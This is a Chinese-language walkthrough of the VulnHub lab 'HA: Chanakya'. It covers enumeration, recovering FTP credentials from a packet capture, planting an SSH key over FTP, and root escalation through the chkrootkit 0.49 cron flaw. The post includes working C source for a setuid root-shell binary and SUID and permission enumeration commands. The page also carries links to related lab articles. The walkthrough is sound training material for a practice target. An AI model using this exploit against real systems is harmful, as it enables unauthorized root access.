VulnHub靶场学习_HA: Chanakya
HA-Chanakya
Vulnhub靶场
下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/
背景:
摧毁王国的策划者又回来了,这次他创造了一个难题,会让你挠头!是时候面对Chanakya。
您能否解决这个“从根本上启动”并证明自己更明智?
枚举是关键!!!!
首页:

全端口扫描

尝试匿名登录FTP

目录扫描

http://192.168.136.179/assets/

对里面的文件进行查看,是字体库。

这里实在没有发现什么,只能换大字典fuzz跑文件了,抓数据包,设置爆破点。

第一个点用了top10000,第二个点是常见后缀。

设置线程为999,跑了10多分钟,终于有了个文件。(字典取至dirmap)

http://192.168.136.179/abuse.txt

SSH、FTP的密码都不对,如果不是密码就可能是个文件吧。
http://192.168.136.179/nfubxn.cpncat没有该文件。
如果是加密文件应该就是错位等加密方法吧,试试栅栏密码、凯撒密码等。

凯撒密码加密偏移量为13。
http://192.168.136.179/ashoka.pcapng
Wireshark的流量包的格式

发现FTP的数据流含有账号密码且显示的是登陆成功。
ashoka:kautilya

依次访问没有发现可用的信息。
但显示的内容像是在用户路径下的隐藏文件,该ftp的目录可能就是ashoka用户的目录。
而且ftp运行新建文件夹和上传文件。
所以可以设置SSH免密登录,将文件上传到.ssh的文件夹下。
在kali上设置,刚开始使用了DSA 密钥。
ssh-keygen -t dsa
cd ~/.ssh/
cp id_dsa.pub authorized_keys

然后将authorized_keys上传到ftp的.ssh路径下。

连接ssh。

没有成功,中途多次修改了/etc/ssh/sshd_config的配置文件以及权限的修改也没能成功。
查阅资料发现:

使用了RSA 密钥试试,

这里如果不设置密码就三个回车,将会在.ssh文件夹下生成公钥(id_rsa.pub)和私钥(id_rsa),将公钥(id_rsa.pub)复制为authorized_keys并上传到ftp的.ssh文件夹下。
而且,这里的权限我也没有修改到700,保持的600权限。

ssh ashoka@192.168.136.179。这里也可以将id_rsa.pub文件下载利用Xshell等软件连接。

find / -user root -perm -4000 -print 2>/dev/null 查询suid文件

sudo -l 显示出自己(执行 sudo 的使用者)的权限

find / -type f -perm 777 -exec ls -l {} \; 2>/dev/null 查询777权限文件

下载cha.zip,发现里面是网站的备份数据。

也没有什么用,翻来翻去,在/tmp下发现logs。
cat logs

百度看看这是什么文件。

是入侵检测工具chkrootkit生成的运行结果。

而且还是本地提权,就是他了。
find -name chkrootkit* 2>/dev/null 查询chkrootkit文件

查看chkrootkit的版本。
./chkrootkit -V
该版本存在漏洞。

同时,该漏洞要实现还需要能够运行chkrootkit,使它去调用update文件。
查看crontab -u root -l。没有权限,应该是有运行chkrootkit计划的。

在kali中新建一个update.c的文件,并写入下面的数据。
#include <unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}
文件内容是利用chkrootkit将update文件属性修改为root:root,并给予任何人执行权限,当ashoka执行该文件时就能获取root的shell。
在kali下编译文件gcc update.c -o update

然后将update拷到ashoka的/tmp/下。
拷进去后,利用chkrootkit 0.49漏洞原理:chkrootkit有crontab,会定期以root身份执行/tmp/update文件。从而使文件获取root权限,接下来运行该文件可提权。(所以上图的update才会从ashoka变为root)

这里我刚拷update进去不一会就变成root了。
运行./update

验证下crontab -l。每分钟运行一次chkrootkit并将结果返回到/tmp/logs。

-- Ly_Dargo
VulnHub靶场学习_HA: Chanakya的更多相关文章
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- java 第六周上机练习 04.09
1.编写一个简单程序,要求数组长度为5,静态赋值10,20,30,40,50,在控制台输出该数组的值. int [] arr= {10,20,30,40,50}; for(int i=0;i<a ...
- Vertica的这些事(十三)——Vertica备份元数据信息
---备份资源池 SELECT 'CREATE RESOURCE POOL ' || name || CASE WHEN memorysize IS NULL THEN ' ' ELSE ' MEMO ...
- Python 【基础面试题】
前言 面试题仅做学习参考,学习者阅后也要用心钻研其中的原理,重要知识需要系统学习.透彻学习,形成自己的知识链.以下五点建议希望对您有帮助,早日拿到一份心仪的offer. 做好细节工作,细致的人运气不会 ...
- 让你第一次认识到Java的内存管理
发现之前写的可读性不好,这次准备试试换风格,去掉长篇大论,觉得这个风格好的,麻烦点个赞啦 清理.JVM的妙处 大家以后都是程序员,假设你很不幸,需要自己交钱租房子. 你作为一个小穷人,租的房子到期了( ...
- mysql清空表后id重1开始
通过"truncate table 表名"方式重置清空id,让id从1开始自动递增,
- Linux命令 dos2unix 的实际应用场景
问题描述:书接上文springboot之停止与启动服务的脚本,编写杀死服务脚本的时候,总是不行,Linux会提示你类似下面这样的信息: killed pid: : arguments must be ...
- 【数据库】MySQL数据库(一)
一.MySQL数据库系统 MySQL数据库系统就是用来对数据库.数据的一些管理 二.数据库系统 1.数据库 就是用来存储各种数据的 2.数据库管理系统 就是用来管理各种数据库的数据的一个系统 三.常见 ...
- spring boot 异步发送邮件
发送邮件由于是一个耗时的操作,有可能需要一个几十秒的操作,但是呢,接口 是一个瞬间完成的,为了不影响接口的性能,所以需要对发送邮件的操作进行异步操作,我们这里呢,首先我们要引入发送邮件的测试模块. & ...
- JAVA debug 调试demo
1.设置断点,在代码的行号后面鼠标左键即可2.想要看调用方法的执行流程,那么调用方法也要加断点. package day6_debug; /* * 1.设置断点,在代码的行号后面鼠标左键即可 * 2. ...
- django创建app
前几天,